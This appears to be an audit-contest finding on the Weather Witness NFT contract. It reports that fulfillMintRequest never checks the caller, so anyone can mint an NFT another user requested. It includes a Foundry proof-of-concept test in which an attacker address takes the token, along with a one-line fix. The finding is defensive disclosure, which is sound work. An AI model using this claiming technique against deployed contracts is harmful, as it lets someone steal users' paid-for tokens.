Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
Submission Details
Severity: high
Valid

Front-running vulnerability in function `WeatherNft::fulfillMintRequest()`, leading to a token steal

Author Revealed upon completion

Root + Impact

Front-running vulnerability in function WeatherNft::fulfillMintRequest(), leading to a token steal

Description

The WeatherNft::fulfillMintRequest function does not validate that the msg.sender address matches the rightful owner, requested the NFT to be minted. This allows an attacker to front-run a legitimate user and steal the token.

function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[
requestId
];
@> // missing validation - does the msg.sender match the address requested NFT minting
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
emit WeatherNFTMinted(
requestId,
msg.sender,
Weather(weather)
);
_mint(msg.sender, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);

Risk

Likelihood: High

Impact:

  • Token steal: without proper function validation, anybody can claim the already requested NFT token and effectively steal it

Proof of Concept

function test_stealingToken() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
uint256 tokenId = weatherNft.s_tokenCounter();
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(, , , reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
assert(reqId != bytes32(0));
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId);
address tokenOwner = weatherNft.ownerOf(tokenId);
assertEq(tokenOwner, attacker);
}

Tools Used

Manual review
Foundry

Recommended Mitigation

Add the following validation in function WeatherNft::fulfillMintRequest()

function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[
requestId
];
+
+ require(_userMintRequest.user == msg.sender, WeatherNft__Unauthorized());
+
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
emit WeatherNFTMinted(
requestId,
msg.sender,
Weather(weather)
);
_mint(msg.sender, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);

This ensures that the user claiming the NFT is the original address, requested the NFT minting, preventing token stealing.

Updates

Appeal created

bube Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.